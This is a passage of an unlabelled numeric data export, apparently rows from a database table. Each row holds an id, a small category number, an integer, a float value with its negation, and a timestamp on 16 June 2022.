11:34:04.629628+00 +25497,6,9229,14.19960348,-14.19960348,2022-06-16 11:48:20.172991+00 +25514,6,9195,5.936717677,-5.936717677,2022-06-16 11:48:27.060069+00 +31137,3,10047,11.84295903,-11.84295903,2022-06-16 12:12:04.245151+00 +25541,6,9277,3.774171279,-3.774171279,2022-06-16 11:48:36.894243+00 +27531,4,9403,2.681946316,-2.681946316,2022-06-16 11:54:20.59753+00 +22355,3,8685,9.894059904,-9.894059904,2022-06-16 11:34:06.239571+00 +23664,3,8877,9.600309119,-9.600309119,2022-06-16 11:40:03.491821+00 +29123,2,9663,5.589981911,-5.589981911,2022-06-16 12:01:05.350482+00 +33302,2,10335,8.184791591,-8.184791591,2022-06-16 12:23:04.828938+00 +38094,4,11129,13.55523666,-13.55523666,2022-06-16 12:49:11.976249+00 +25620,2,9279,6.248504809,-6.248504809,2022-06-16 11:49:05.057036+00 +22412,6,8813,4.289199567,-4.289199567,2022-06-16 11:34:09.787934+00 +40487,2,11583,3.496726865,-3.496726865,2022-06-16 13:01:05.782445+00 +35518,6,10750,6.297497306,-6.297497306,2022-06-16 12:34:14.158473+00 +22431,1,8805,16.50313439,-16.50313439,2022-06-16 11:34:14.047915+00 +27617,6,9453,3.429270668,-3.429270668,2022-06-16 11:54:28.160614+00 +52669,4,13663,5.527713656,-5.527713656,2022-06-16 14:06:12.014074+00 +52670,4,13581,12.78950304,-12.78950304,2022-06-16 14:06:12.018001+00 +49317,1,13011,8.299260669,-8.299260669,2022-06-16 13:48:23.774299+00 +35634,2,10735,5.557350748,-5.557350748,2022-06-16 12:35:04.941425+00 +49334,4,13011,6.126709656,-6.126709656,2022-06-16 13:48:31.011542+00 +49397,4,13051,1.011885566,-1.011885566,2022-06-16 13:48:51.647925+00 +27721,1,9392,0.710811353,0,2022-06-16 11:54:35.117266+00 +27722,1,9408,2.414477996,-2.414477996,2022-06-16 11:54:35.120509+00 +38315,2,11242,5.294994583,-5.294994583,2022-06-16 12:50:17.025176+00 +29322,1,9642,10.78047516,-10.78047516,2022-06-16 12:02:14.169343+00 +29323,1,9658,17.6591562,-17.6591562,2022-06-16 12:02:14.170173+00 +23801,1,8946,18.96766753,-18.96766753,2022-06-16 11:40:14.101601+00 +23802,1,8922,19.95454245,-19.95454245,2022-06-16 11:40:14.105583+00 +23803,1,8938,14.27305997,-14.27305997,2022-06-16 11:40:14.106386+00 +23804,1,8954,19.91317832,-19.91317832,2022-06-16 11:40:14.107171+00 +38332,1,11194,14.32999519,-14.32999519,2022-06-16 12:50:23.41236+00 +38333,1,11162,14.16821351,-14.16821351,2022-06-16 12:50:23.413675+00 +29377,6,9677,13.65892111,-13.65892111,2022-06-16 12:02:27.408157+00 +27813,2,9439,8.727745672,-8.727745672,2022-06-16 11:55:04.87265+00 +23825,6,8810,12.26233715,-12.26233715,2022-06-16 11:40:17.590744+00 +24332,2,9070,8.052293633,-8.052293633,2022-06-16 11:43:05.011871+00 +21066,6,8541,9.188929027,-9.188929027,2022-06-16 11:27:09.230561+00 +24333,2,9071,8.441233455,-8.441233455,2022-06-16 11:43:05.015304+00 +24385,6,9086,9.812072422,-9.812072422,2022-06-16 11:43:10.929454+00 +48943,1,12976,0.475325601,0,2022-06-16 13:46:26.774251+00 +30208,1,9838,5.988730204,-5.988730204,2022-06-16 12:06:59.215295+00 +21278,6,8605,9.086547258,-9.086547258,2022-06-16 11:28:21.45366+00 +30209,1,9823,7.368940606,-7.368940606,2022-06-16 12:06:59.218634+00 +30210,1,9855,4.594074804,-4.594074804,2022-06-16 12:06:59.219487+00 +30211,1,9854,4.691113152,-4.691113152,2022-06-16 12:06:59.220286+00 +22901,6,8869,14.17743421,-14.17743421,2022-06-16 11:36:13.643804+00 +30212,1,9822,7.423893677,-7.423893677,2022-06-16 12:06:59.221035+00 +30213,1,9839,5.955892604,-5.955892604,2022-06-16 12:06:59.22178+00 +24687,6,9043,14.9512727,-14.9512727,2022-06-16 11:44:34.962915+00 +48944,1,12954,10.88060914,-10.88060914,2022-06-16 13:46:26.778384+00 +48945,1,12987,1.508403901,-1.508403901,2022-06-16 13:46:26.779513+00 +23091,2,8811,7.349432442,-7.349432442,2022-06-16 11:37:14.485035+00 +24776,1,9067,4.518427444,-4.518427444,2022-06-16 11:44:53.074923+00 +24777,1,9083,4.408733208,-4.408733208,2022-06-16 11:44:53.076293+00 +32417,2,10157,5.532623112,-5.532623112,2022-06-16 12:18:14.405868+00 +37297,4,10963,7.356005672,-7.356005672,2022-06-16 12:44:29.529019+00 +32490,6,10206,11.5174104,-11.5174104,2022-06-16 12:18:47.249098+00 +37298,4,11022,18.22533157,-18.22533157,2022-06-16 12:44:29.532403+00 +37299,4,11030,15.71277589,-15.71277589,2022-06-16 12:44:29.533281+00 +39909,1,11518,2.778310118,-2.778310118,2022-06-16 12:58:17.515146+00 +39988,6,11435,3.921285583,-3.921285583,2022-06-16 12:58:48.945461+00 +48946,1,12992,1.012574311,-1.012574311,2022-06-16 13:46:26.780536+00 +48947,1,12979,11.75272941,-11.75272941,2022-06-16 13:46:26.78152+00 +23331,6,8933,13.99102043,-13.99102043,2022-06-16 11:38:12.961982+00 +43076,1,11951,3.678455046,-3.678455046,2022-06-16 13:12:59.572877+00 +23368,6,8942,12.51478323,-12.51478323,2022-06-16 11:38:18.190113+00 +25068,6,9152,5.748025875,-5.748025875,2022-06-16 11:46:24.343847+00 +23392,1,8889,9.598818737,-9.598818737,2022-06-16 11:38:20.024851+00 +23393,1,8881,9.763833324,-9.763833324,2022-06-16 11:38:20.028242+00 +21990,3,8750,16.72074161,-16.72074161,2022-06-16 11:32:08.151902+00 +23394,1,8857,9.675334651,-9.675334651,2022-06-16 11:38:20.029133+00 +23395,1,8873,9.554392061,-9.554392061,2022-06-16 11:38:20.030002+00 +22032,4,8691,10.86499497,-10.86499497,2022-06-16 11:32:19.407902+00 +22033,4,8651,13.68915365,-13.68915365,2022-06-16 11:32:19.41238+00 +22034,4,8699,3.321562735,-3.321562735,2022-06-16 11:32:19.414172+00 +22035,4,8683,3.398772855,-3.398772855,2022-06-16 11:32:19.415178+00 +22036,4,8667,4.858169701,-4.858169701,2022-06-16 11:32:19.416121+00 +22057,4,8659,9.486177237,-9.486177237,2022-06-16 11:32:27.128017+00 +23416,3,8944,2.627309218,0,2022-06-16 11:38:28.110478+00 +22094,2,8735,9.293584495,-9.293584495,2022-06-16 11:33:04.765268+00 +27095,1,9373,10.43765532,-10.43765532,2022-06-16 11:52:35.118574+00 +23454,6,8896,5.93879143,-5.93879143,2022-06-16 11:38:49.270942+00 +27096,1,9405,4.771846981,-4.771846981,2022-06-16 11:52:35.122739+00 +27097,1,9389,4.647144021,-4.647144021,2022-06-16 11:52:35.123583+00 +27098,1,9381,15.94305677,-15.94305677,2022-06-16 11:52:35.124387+00 +43077,1,11967,2.850736025,-2.850736025,2022-06-16 13:12:59.576212+00 +48948,1,12971,1.602474064,-1.602474064,2022-06-16 13:46:26.782481+00 +25246,6,9107,14.89566759,-14.89566759,2022-06-16 11:47:09.496859+00 +48949,1,12955,5.905607752,-5.905607752,2022-06-16 13:46:26.783679+00 +40373,6,11504,1.927744296,0,2022-06-16 13:00:29.597986+00 +30814,4,9632,6.327983588,-6.327983588,2022-06-16 12:10:07.77415+00 +23570,1,8888,9.991421788,-9.991421788,2022-06-16 11:39:32.102634+00 +37845,3,11120,2.641694902,0,2022-06-16 12:47:45.911263+00 +48950,1,12963,20.04875721,-20.04875721,2022-06-16 13:46:26.78452+00 +23599,3,8943,16.35480483,-16.35480483,2022-06-16 11:39:39.988424+00 +23600,3,8958,13.69874359,-13.69874359,2022-06-16 11:39:39.99177+00 +27283,4,9307,4.532524289,-4.532524289,2022-06-16 11:53:22.997129+00 +43280,3,12014,10.62194583,-10.62194583,2022-06-16 13:14:05.771892+00 +28937,6,9595,5.132162795,-5.132162795,2022-06-16 12:00:15.887748+00 +46416,6,12528,1.994285618,0,2022-06-16 13:32:17.318853+00 +28987,6,9662,8.59303422,-8.59303422,2022-06-16 12:00:30.79581+00 +43349,6,11952,1.959084467,0,2022-06-16 13:14:13.591688+00 +43377,1,11955,12.83293529,-12.83293529,2022-06-16 13:14:17.579651+00 +23665,3,8941,9.547741584,-9.547741584,2022-06-16 11:40:03.656239+00 +43378,1,11989,12.38592417,-12.38592417,2022-06-16 13:14:17.5809+00 +25480,6,9278,9.621822646,-9.621822646,2022-06-16 11:48:12.767968+00 +22413,4,8814,8.869220617,-8.869220617,2022-06-16 11:34:09.865041+00 +22414,4,8815,8.560558644,-8.560558644,2022-06-16 11:34:09.866174+00 +25498,4,9211,2.917845308,-2.917845308,2022-06-16 11:48:21.164478+00 +33259,6,10349,2.639550653,-2.639550653,2022-06-16 12:22:33.514379+00 +23696,3,8893,9.789572547,-9.789572547,2022-06-16 11:40:04.680711+00 +23703,3,8957,9.736066749,-9.736066749,2022-06-16 11:40:04.872806+00 +22451,2,8749,6.774317406,-6.774317406,2022-06-16 11:34:19.443059+00 +35455,3,10750,10.83978008,-10.83978008,2022-06-16 12:34:05.409851+00 +25542,1,9263,6.942331304,-6.942331304,2022-06-16 11:48:38.107152+00 +25543,1,9247,7.665013492,-7.665013492,2022-06-16 11:48:38.110512+00 +23727,4,8960,2.3600521,-2.3600521,2022-06-16 11:40:05.651904+00 +22495,6,8752,1.73775725,0,2022-06-16 11:34:29.355321+00 +23728,4,8944,0.643883616,0,2022-06-16 11:40:05.653776+00 +25544,1,9279,5.348586428,-5.348586428,2022-06-16 11:48:38.111373+00 +25545,1,9246,7.721794285,-7.721794285,2022-06-16 11:48:38.11223+00 +22522,1,8747,4.714616091,-4.714616091,2022-06-16 11:34:47.022547+00 +22523,1,8763,4.599051369,-4.599051369,2022-06-16 11:34:47.023829+00 +25546,1,9262,6.983418806,-6.983418806,2022-06-16 11:48:38.113032+00 +25547,1,9278,5.433788618,-5.433788618,2022-06-16 11:48:38.113845+00 +33337,2,10299,5.773351396,-5.773351396,2022-06-16 12:23:14.432257+00 +29104,2,9631,8.597099147,-8.597099147,2022-06-16 12:01:04.886592+00 +29105,2,9646,6.805896234,-6.805896234,2022-06-16 12:01:04.889879+00 +43379,1,11947,2.279035638,-2.279035638,2022-06-16 13:14:17.581657+00 +35483,6,10733,2.384100158,-2.384100158,2022-06-16 12:34:07.962574+00 +43380,1,11931,6.450592992,-6.450592992,2022-06-16 13:14:17.582505+00 +25650,3,9133,9.129317318,-9.129317318,2022-06-16 11:49:07.234522+00 +43381,1,11961,6.211057626,-6.211057626,2022-06-16 13:14:17.583255+00 +40841,4,11561,12.62478606,-12.62478606,2022-06-16 13:03:01.56321+00 +35603,6,10717,7.256473103,-7.256473103,2022-06-16 12:34:53.006012+00 +23817,6,9005,3.994418029,-3.994418029,2022-06-16 11:40:14.708337+00 +38325,4,11187,9.626059228,-9.626059228,2022-06-16 12:50:21.057421+00 +23828,4,8939,3.210598175,-3.210598175,2022-06-16 11:40:19.59967+00 +23829,4,8907,13.37200768,-13.37200768,2022-06-16 11:40:19.600393+00 +23830,4,8955,3.12182962,-3.12182962,2022-06-16 11:40:19.601041+00 +38326,4,11179,1.807968248,-1.807968248,2022-06-16 12:50:21.060765+00 +38327,4,11163,4.411842516,-4.411842516,2022-06-16 12:50:21.061663+00 +38328,4,11195,1.55883974,-1.55883974,2022-06-16 12:50:21.062537+00 +23841,2,8941,6.539162127,-6.539162127,2022-06-16 11:40:24.515416+00 +40842,4,11577,12.59556912,-12.59556912,2022-06-16 13:03:01.56703+00 +23844,2,8957,6.707539256,-6.707539256,2022-06-16 11:40:24.568096+00 +23846,4,8824,8.80146585,-8.80146585,2022-06-16 11:40:28.903617+00 +40874,2,11614,7.819021569,-7.819021569,2022-06-16 13:03:04.941568+00 +38448,2,11247,4.892095118,-4.892095118,2022-06-16 12:51:05.233078+00 +23852,3,9008,2.624432509,0,2022-06-16 11:40:33.392864+00 +23855,1,9005,5.133073733,-5.133073733,2022-06-16 11:40:35.073608+00 +23856,1,8989,10.6212647,-10.6212647,2022-06-16 11:40:35.075071+00 +23857,1,9021,5.263173526,-5.263173526,2022-06-16 11:40:35.07632+00 +35804,3,10734,12.92752488,-12.92752488,2022-06-16 12:36:04.858525+00 +26357,6,9235,14.76662796,-14.76662796,2022-06-16 11:51:01.445087+00 +22628,2,8763,7.240743337,-7.240743337,2022-06-16 11:35:14.45042+00 +34455,2,10527,7.950686727,-7.950686727,2022-06-16 12:29:05.258583+00 +22664,4,8672,6.376877925,-6.376877925,2022-06-16 11:35:29.208767+00 +21196,4,8440,9.147367659,-9.147367659,2022-06-16 11:28:05.832304+00 +21197,4,8576,2.629078394,-2.629078394,2022-06-16 11:28:05.836875+00 +21198,4,8560,0.664209067,0,2022-06-16 11:28:05.837873+00 +21225,3,8622,17.05050754,-17.05050754,2022-06-16 11:28:11.042957+00 +30136,2,9773,5.814886092,-5.814886092,2022-06-16 12:06:14.56437+00 +30160,1,9784,8.956096138,-8.956096138,2022-06-16 12:06:23.187681+00 +21280,1,8571,4.679266922,-4.679266922,2022-06-16 11:28:22.982179+00 +21281,1,8555,4.781791316,-4.781791316,2022-06-16 11:28:22.984018+00 +21299,4,8544,6.455166851,-6.455166851,2022-06-16 11:28:32.148052+00 +21327,6,8638,11.07580625,-11.07580625,2022-06-16 11:28:33.615833+00 +32239,2,10107,6.014550086,-6.014550086,2022-06-16 12:17:14.432937+00 +21340,7,8362,12.05972533,-12.05972533,2022-06-16 11:28:39.867565+00 +26553,6,9343,8.72876714,-8.72876714,2022-06-16 11:51:17.010564+00 +21404,2,8638,7.265097029,-7.265097029,2022-06-16 11:29:05.266772+00 +59898,3,14782,7.640812262,-7.640812262,2022-06-16 14:42:04.697104+00 +48951,1,12978,11.21651523,-11.21651523,2022-06-16 13:46:26.785429+00 +24688,1,8872,18.16362035,-18.16362035,2022-06-16 11:44:35.103162+00 +24689,1,8936,18.10200018,-18.10200018,2022-06-16 11:44:35.106616+00 +24690,1,8808,18.04055667,-18.04055667,2022-06-16 11:44:35.107531+00 +22966,6,8863,12.78523146,-12.78523146,2022-06-16 11:36:40.245674+00 +48952,1,12970,3.119765194,-3.119765194,2022-06-16 13:46:26.786226+00 +48959,1,12947,8.376116524,-8.376116524,2022-06-16 13:46:32.747647+00 +32555,2,10176,4.478704288,-4.478704288,2022-06-16 12:19:04.673933+00 +21664,6,8702,10.92779308,-10.92779308,2022-06-16 11:30:10.958563+00 +32556,2,10206,7.998576362,-7.998576362,2022-06-16 12:19:04.677391+00 +34721,6,10622,6.541211045,-6.541211045,2022-06-16 12:30:12.512606+00 +26821,3,9407,12.90159191,-12.90159191,2022-06-16 11:52:06.194562+00 +37300,3,10797,6.909329198,-6.909329198,2022-06-16 12:44:30.914464+00 +39910,1,11519,3.128912767,-3.128912767,2022-06-16 12:58:20.513506+00 +26887,4,9341,5.217505192,-5.217505192,2022-06-16 11:52:11.28554+00 +26895,4,9375,8.009480044,-8.009480044,2022-06-16 11:52:12.719188+00 +26896,4,9325,5.068748011,-5.068748011,2022-06-16 11:52:12.720501+00 +32691,6,10224,1.838743058,0,2022-06-16 12:20:04.045991+00 +25069,6,9182,12.94920077,-12.94920077,2022-06-16 11:46:24.566246+00 +28624,2,9567,8.622391803,-8.622391803,2022-06-16 11:59:05.139114+00 +25098,6,9214,9.737292418,-9.737292418,2022-06-16 11:46:25.510007+00 +34852,2,10590,7.904624208,-7.904624208,2022-06-16 12:31:04.795353+00 +28656,6,9566,12.4297462,-12.4297462,2022-06-16 11:59:08.187603+00 +32766,6,10269,7.697492623,-7.697492623,2022-06-16 12:20:09.521965+00 +23396,1,8890,20.25268051,-20.25268051,2022-06-16 11:38:23.023643+00 +23397,1,8858,20.18173137,-20.18173137,2022-06-16 11:38:23.027101+00 +22037,2,8685,6.951897466,-6.951897466,2022-06-16 11:32:19.414415+00 +23398,1,8882,19.09849285,-19.09849285,2022-06-16 11:38:23.028046+00 +22059,1,8441,10.18050309,-10.18050309,2022-06-16 11:32:31.98661+00 +22060,1,8433,10.35163776,-10.35163776,2022-06-16 11:32:31.990179+00 +22061,1,8409,10.25809827,-10.25809827,2022-06-16 11:32:31.991006+00 +22062,1,8425,10.13107993,-10.13107993,2022-06-16 11:32:31.991825+00 +23399,1,8874,14.51910808,-14.51910808,2022-06-16 11:38:23.028964+00 +23417,1,8891,4.553585309,-4.553585309,2022-06-16 11:38:29.062116+00 +23418,1,8875,4.659410001,-4.659410001,2022-06-16 11:38:29.066499+00 +25180,6,9197,3.750399247,-3.750399247,2022-06-16 11:46:56.30217+00 +23455,4,8874,12.05402168,-12.05402168,2022-06-16 11:38:49.337438+00 +39911,1,11503,4.049147045,-4.049147045,2022-06-16 12:58:20.516984+00 +34897,6,10555,4.112487821,-4.112487821,2022-06-16 12:31:13.367864+00 +32839,6,10302,7.072094887,-7.072094887,2022-06-16 12:20:25.165817+00 +34943,4,10538,8.44096461,-8.44096461,2022-06-16 12:31:24.486977+00 +59899,3,14846,7.578017278,-7.578017278,2022-06-16 14:42:04.702024+00 +42975,6,11899,3.100302815,-3.100302815,2022-06-16 13:12:28.179974+00 +22237,6,8751,12.83623794,-12.83623794,2022-06-16 11:33:25.656949+00 +40106,2,11451,4.796745255,-4.796745255,2022-06-16 12:59:19.5743+00 +22249,6,8767,10.1679034,-10.1679034,2022-06-16 11:33:26.043068+00 +49045,2,13039,3.384883181,-3.384883181,2022-06-16 13:47:05.691605+00 +23562,3,8960,8.318714269,-8.318714269,2022-06-16 11:39:25.977071+00 +27257,2,9407,5.98223682,-5.98223682,2022-06-16 11:53:09.627129+00 +52671,4,13613,1.032224775,-1.032224775,2022-06-16 14:06:12.019052+00 +43152,2,11899,4.446622716,-4.446622716,2022-06-16 13:13:14.54168+00 +52672,4,13597,6.133856724,-6.133856724,2022-06-16 14:06:12.020035+00 +40306,6,11541,8.533218828,-8.533218828,2022-06-16 13:00:18.383029+00 +28961,6,9584,1.798199024,0,2022-06-16 12:00:21.2324+00 +31014,2,9951,8.394464231,-8.394464231,2022-06-16 12:11:04.838705+00 +52673,4,13629,1.809230455,-1.809230455,2022-06-16 14:06:12.021057+00 +22357,3,8749,9.839866652,-9.839866652,2022-06-16 11:34:06.418183+00 +25499,1,9201,9.393023679,-9.393023679,2022-06-16 11:48:23.105177+00 +22372,6,8805,14.27745727,-14.27745727,2022-06-16 11:34:07.900699+00 +25500,1,9193,9.204470016,-9.204470016,2022-06-16 11:48:23.108481+00 +25501,1,9209,9.191203595,-9.191203595,2022-06-16 11:48:23.109299+00 +22397,3,8815,16.64515183,-16.64515183,2022-06-16 11:34:08.562572+00 +25502,1,9177,9.280527258,-9.280527258,2022-06-16 11:48:23.110072+00 +25519,6,9211,5.742299933,-5.742299933,2022-06-16 11:48:27.267161+00 +33268,6,10365,2.722689572,-2.722689572,2022-06-16 12:22:36.428595+00 +49398,7,12970,5.415374455,-5.415374455,2022-06-16 13:48:58.816948+00 +27478,4,9390,7.182347548,-7.182347548,2022-06-16 11:54:16.880583+00 +27479,4,9391,6.990095487,-6.990095487,2022-06-16 11:54:16.884782+00 +27480,4,9455,6.966543644,-6.966543644,2022-06-16 11:54:16.885762+00 +25623,1,9042,22.13653891,-22.13653891,2022-06-16 11:49:05.104527+00 +27481,4,9470,5.583542908,-5.583542908,2022-06-16 11:54:16.887541+00 +27482,4,9406,5.5659815,-5.5659815,2022-06-16 11:54:16.88841+00 +27483,4,9407,5.352928171,-5.352928171,2022-06-16 11:54:16.889301+00 +22515,6,8789,12.27587816,-12.27587816,2022-06-16 11:34:39.641963+00 +27484,4,9471,5.336585785,-5.336585785,2022-06-16 11:54:16.890162+00 +27485,4,9374,8.19915492,-8.19915492,2022-06-16 11:54:16.890885+00 +27486,4,9438,8.169683001,-8.169683001,2022-06-16 11:54:16.891675+00 +27487,4,9439,7.979337753,-7.979337753,2022-06-16 11:54:16.892473+00 +25715,2,9197,6.218076248,-6.218076248,2022-06-16 11:49:14.561765+00 +38052,2,11120,1.680744899,0,2022-06-16 12:49:04.578422+00 +43522,2,12014,4.135824873,-4.135824873,2022-06-16 13:15:05.169139+00 +49458,1,13077,11.49252955,-11.49252955,2022-06-16 13:49:08.749496+00 +23818,1,8939,4.632359014,-4.632359014,2022-06-16 11:40:17.100412+00 +23819,1,8955,4.519059649,-4.519059649,2022-06-16 11:40:17.103927+00 +52805,1,13654,13.23273457,-13.23273457,2022-06-16 14:06:50.838926+00 +23831,1,8991,7.77381969,-7.77381969,2022-06-16 11:40:23.09969+00 +23832,1,9006,7.478510535,-7.478510535,2022-06-16 11:40:23.102935+00 +23833,1,8990,7.8199032,-7.8199032,2022-06-16 11:40:23.103766+00 +23834,1,9007,7.437043888,-7.437043888,2022-06-16 11:40:23.104535+00 +38175,4,10976,6.083649002,-6.083649002,2022-06-16 12:49:32.034505+00 +52806,1,13600,4.380816503,-4.380816503,2022-06-16 14:06:50.842252+00 +33519,3,10414,13.57423496,-13.57423496,2022-06-16 12:24:05.670591+00 +38209,3,11115,9.247176499,-9.247176499,2022-06-16 12:49:41.465288+00 +23845,4,8915,9.28258087,-9.28258087,2022-06-16 11:40:27.128441+00 +25792,6,9263,11.18839368,-11.18839368,2022-06-16 11:49:39.090727+00 +33560,4,10355,9.979307149,-9.979307149,2022-06-16 12:24:20.304302+00 +33561,4,10315,11.77759241,-11.77759241,2022-06-16 12:24:20.307689+00 +33562,4,10331,4.419180242,-4.419180242,2022-06-16 12:24:20.308563+00 +33600,6,10352,1.844165017,0,2022-06-16 12:24:27.379084+00 +33613,3,10093,7.516400816,-7.516400816,2022-06-16 12:24:32.657248+00 +20864,3,8493,10.28287755,-10.28287755,2022-06-16 11:26:09.960957+00 +21011,6,8525,14.84907909,-14.84907909,2022-06-16 11:27:01.738532+00 +22585,2,8768,5.42011222,-5.42011222,2022-06-16 11:35:04.570978+00 +20885,1,8512,3.177682828,-3.177682828,2022-06-16 11:26:11.021401+00 +20886,1,8496,0.803225024,0,2022-06-16 11:26:11.024648+00 +21121,1,8480,7.516976461,-7.516976461,2022-06-16 11:27:47.005609+00 +26359,6,9259,5.916037919,-5.916037919,2022-06-16 11:51:01.686989+00 +21199,7,8490,12.23015579,-12.23015579,2022-06-16 11:28:06.567905+00 +26415,2,9342,5.784764298,-5.784764298,2022-06-16 11:51:05.325091+00 +45632,1,12322,12.0320071,-12.0320071,2022-06-16 13:27:11.662032+00 +21282,7,8426,12.11618071,-12.11618071,2022-06-16 11:28:23.606039+00 +22700,4,8736,6.359800574,-6.359800574,2022-06-16 11:35:37.196712+00 +21371,2,8576,5.534189849,-5.534189849,2022-06-16 11:29:04.481385+00 +30137,4,9838,6.225136555,-6.225136555,2022-06-16 12:06:16.688712+00 +30138,4,9839,6.102599626,-6.102599626,2022-06-16 12:06:16.692538+00 +20898,3,8509,10.45058766,-10.45058766,2022-06-16 11:26:13.062614+00 +30139,4,9823,7.5183882,-7.5183882,2022-06-16 12:06:16.693494+00 +28231,1,9501,10.34729263,-10.34729263,2022-06-16 11:57:05.16255+00 +24648,2,9069,6.390294831,-6.390294831,2022-06-16 11:44:19.42697+00 +32240,6,10090,9.693522641,-9.693522641,2022-06-16 12:17:17.730967+00 +22937,2,8813,6.704236165,-6.704236165,2022-06-16 11:36:24.442812+00 +45726,4,12312,8.351080682,-8.351080682,2022-06-16 13:27:56.436533+00 +20905,1,8416,7.554780306,-7.554780306,2022-06-16 11:26:14.023762+00 +22967,7,8810,11.51107952,-11.51107952,2022-06-16 11:36:40.247579+00 +24732,6,9118,12.95727444,-12.95727444,2022-06-16 11:44:47.590537+00 +21727,2,8637,7.178095412,-7.178095412,2022-06-16 11:30:24.520672+00 +21756,2,8624,1.526294515,0,2022-06-16 11:31:04.469562+00 +37301,2,11050,5.50958387,-5.50958387,2022-06-16 12:44:31.196922+00 +39912,4,11451,1.446748621,-1.446748621,2022-06-16 12:58:21.137369+00 +39913,4,11443,9.569058938,-9.569058938,2022-06-16 12:58:21.140857+00 +34898,2,10283,6.446018899,-6.446018899,2022-06-16 12:31:14.325613+00 +28595,2,9520,1.577304983,0,2022-06-16 11:59:04.452798+00 +30553,1,9851,3.748927164,-3.748927164,2022-06-16 12:08:44.186453+00 +30576,1,9886,7.34324507,-7.34324507,2022-06-16 12:08:50.187199+00 +30577,1,9903,5.893633693,-5.893633693,2022-06-16 12:08:50.188443+00 +25038,4,9135,7.724677008,-7.724677008,2022-06-16 11:46:09.839137+00 +25039,4,9199,7.69712845,-7.69712845,2022-06-16 11:46:09.843338+00 +27014,6,9299,14.71622717,-14.71622717,2022-06-16 11:52:25.507736+00 +20923,2,8554,9.481402805,-9.481402805,2022-06-16 11:26:18.821078+00 +30578,1,9918,4.583463013,-4.583463013,2022-06-16 12:08:50.189254+00 +30579,1,9887,7.292333802,-7.292333802,2022-06-16 12:08:50.190054+00 +20926,4,8467,9.70276267,-9.70276267,2022-06-16 11:26:19.377942+00 +30580,1,9902,5.87984155,-5.87984155,2022-06-16 12:08:50.190894+00 +25181,4,9016,8.763853611,-8.763853611,2022-06-16 11:46:57.192235+00 +20929,4,8499,11.12280525,-11.12280525,2022-06-16 11:26:20.8079+00 +20930,4,8475,5.010714098,-5.010714098,2022-06-16 11:26:22.195875+00 +20931,4,8491,3.557988016,-3.557988016,2022-06-16 11:26:22.199284+00 +20932,4,8459,13.91393425,-13.91393425,2022-06-16 11:26:22.200246+00 +20933,1,8424,18.40611381,-18.40611381,2022-06-16 11:26:23.033356+00 +20934,4,8507,3.463853904,-3.463853904,2022-06-16 11:26:24.147293+00 +22063,4,8568,9.02588183,-9.02588183,2022-06-16 11:32:34.479761+00 +30581,1,9919,4.508701389,-4.508701389,2022-06-16 12:08:50.191755+00 +34899,2,10347,6.417671986,-6.417671986,2022-06-16 12:31:14.328913+00 +32730,3,10303,11.56558206,-11.56558206,2022-06-16 12:20:05.167598+00 +20939,2,8493,7.150826094,-7.150826094,2022-06-16 11:26:24.448953+00 +20940,1,8440,10.4800482,-10.4800482,2022-06-16 11:26:29.013642+00 +23471,1,8880,0.763479869,0,2022-06-16 11:39:02.100444+00 +22154,6,8749,4.40740121,-4.40740121,2022-06-16 11:33:10.245704+00 +23472,1,8896,2.7942454,-2.7942454,2022-06-16 11:39:02.103795+00 +34900,2,10411,6.389500398,-6.389500398,2022-06-16 12:31:14.329717+00 +20945,2,8509,7.321400517,-7.321400517,2022-06-16 11:26:29.481708+00 +20946,1,8491,4.812570571,-4.812570571,2022-06-16 11:26:32.025512+00 +20947,1,8542,8.170381488,-8.170381488,2022-06-16 11:26:38.029+00 +20948,1,8507,4.700611047,-4.700611047,2022-06-16 11:26:38.032392+00 +20949,1,8575,6.390267739,-6.390267739,2022-06-16 11:26:38.033279+00 +20950,1,8543,8.089569306,-8.089569306,2022-06-16 11:26:38.034147+00 +20951,1,8559,8.426941781,-8.426941781,2022-06-16 11:26:38.035026+00 +20952,1,8558,8.484592668,-8.484592668,2022-06-16 11:26:38.035872+00 +20953,1,8574,6.615655801,-6.615655801,2022-06-16 11:26:38.036781+00 +20954,1,8557,5.81789426,-5.81789426,2022-06-16 11:26:50.019701+00 +20955,1,8573,5.966061382,-5.966061382,2022-06-16 11:26:50.023014+00 +30684,6,9851,4.766941708,-4.766941708,2022-06-16 12:09:18.234962+00 +22194,2,8683,7.42942668,-7.42942668,2022-06-16 11:33:14.532784+00 +27232,2,9390,7.316626239,-7.316626239,2022-06-16 11:53:05.012509+00 +25333,4,9002,11.45368491,-11.45368491,2022-06-16 11:47:41.49272+00 +25334,4,9066,11.39830637,-11.39830637,2022-06-16 11:47:41.496269+00 +25335,4,9130,11.34329184,-11.34329184,2022-06-16 11:47:41.497101+00 +32778,2,10221,5.50688495,-5.50688495,2022-06-16 12:20:14.432985+00 +27259,1,9390,6.729539804,-6.729539804,2022-06-16 11:53:14.136151+00 +27260,1,9406,5.235854686,-5.235854686,2022-06-16 11:53:14.139949+00 +22271,3,8830,14.03979167,-14.03979167,2022-06-16 11:34:03.906415+00 +27261,1,9374,7.591240853,-7.591240853,2022-06-16 11:53:14.140813+00 +34901,2,10475,6.361502674,-6.361502674,2022-06-16 12:31:14.330507+00 +32841,6,10303,6.797910032,-6.797910032,2022-06-16 12:20:25.196165+00 +34902,2,10539,6.333677366,-6.333677366,2022-06-16 12:31:14.331334+00 +28939,6,9645,3.248268629,-3.248268629,2022-06-16 12:00:17.963079+00 +27368,3,9406,12.94334271,-12.94334271,2022-06-16 11:53:49.844688+00 +23631,6,8927,12.59651695,-12.59651695,2022-06-16 11:39:55.301929+00 +25503,1,8914,22.45609784,-22.45609784,2022-06-16 11:48:26.105766+00 +22358,4,8752,0.653383837,0,2022-06-16 11:34:06.480711+00 +22359,4,8768,2.485902681,-2.485902681,2022-06-16 11:34:06.485021+00 +39914,4,11403,12.6504239,-12.6504239,2022-06-16 12:58:21.141688+00 +25525,1,9194,12.95767629,-12.95767629,2022-06-16 11:48:29.079267+00 +25526,1,9202,18.08915413,-18.08915413,2022-06-16 11:48:29.08073+00 +25527,1,9210,19.05039868,-19.05039868,2022-06-16 11:48:29.081528+00 +25528,1,9178,18.98345689,-18.98345689,2022-06-16 11:48:29.082343+00 +28978,6,9646,10.66757757,-10.66757757,2022-06-16 12:00:30.49241+00 +60156,2,14768,1.900091574,0,2022-06-16 14:43:05.250522+00 +28990,1,9631,7.47526908,-7.47526908,2022-06-16 12:00:35.16043+00 +22442,3,8624,2.624547045,0,2022-06-16 11:34:17.670977+00 +22443,3,8688,2.622523807,0,2022-06-16 11:34:17.674496+00 +22444,3,8752,2.620504239,0,2022-06-16 11:34:17.675602+00 +22445,3,8816,2.618488331,0,2022-06-16 11:34:17.676564+00 +28991,1,9630,7.500336007,-7.500336007,2022-06-16 